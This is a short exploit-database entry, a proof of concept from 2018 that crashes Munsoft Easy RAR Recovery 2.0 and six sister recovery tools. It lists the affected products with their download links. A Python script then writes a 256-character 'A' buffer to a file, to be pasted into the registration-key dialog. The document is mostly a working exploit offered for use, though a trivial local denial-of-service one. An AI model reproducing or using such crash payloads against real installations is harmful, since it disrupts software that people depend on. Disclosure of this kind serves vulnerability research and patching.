Mumsoft Easy Software 2.0 Denial Of Service

`# Exploit Title: Mumsoft Easy Software 2.0 - Denial of Service (PoC)  
# Dork: N/A  
# Date: 2018-11-15  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.munsoft.com/EasyRARRecovery/  
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyRARRecovery/download/EasyRARRecovery-2.0-Setup.exe  
# Other Affected software:  
# Easy Archive Recovery 2.0  
# https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyArchiveRecovery/download/EasyArchiveRecovery-2.0-Setup.exe  
# Easy ZIP Recovery 2.0  
# https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyZIPRecovery/download/EasyZIPRecovery-2.0-Setup.exe  
# Easy Access Recovery 2.0  
# https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyAccessRecovery/download/EasyAccessRecovery-2.0-Setup.exe  
# Easy PowerPoint Recovery 2.0  
# https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyPowerPointRecovery/download/EasyPowerPointRecovery-2.0-Setup.exe  
# Easy Excel Recovery 2.0  
# https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyExcelRecovery/download/EasyExcelRecovery-2.0-Setup.exe  
# Easy Word Recovery 2.0  
# https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyWordRecovery/download/EasyWordRecovery-2.0-Setup.exe  
  
# Version: 2.0  
# Category: Dos  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# Help / Enter a registration key...  
  
#!/usr/bin/python  
  
buffer = "A" * 256  
  
payload = buffer  
try:  
f=open("exp.txt","w")  
print "[+] Creating %s bytes evil payload." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created."  
  
`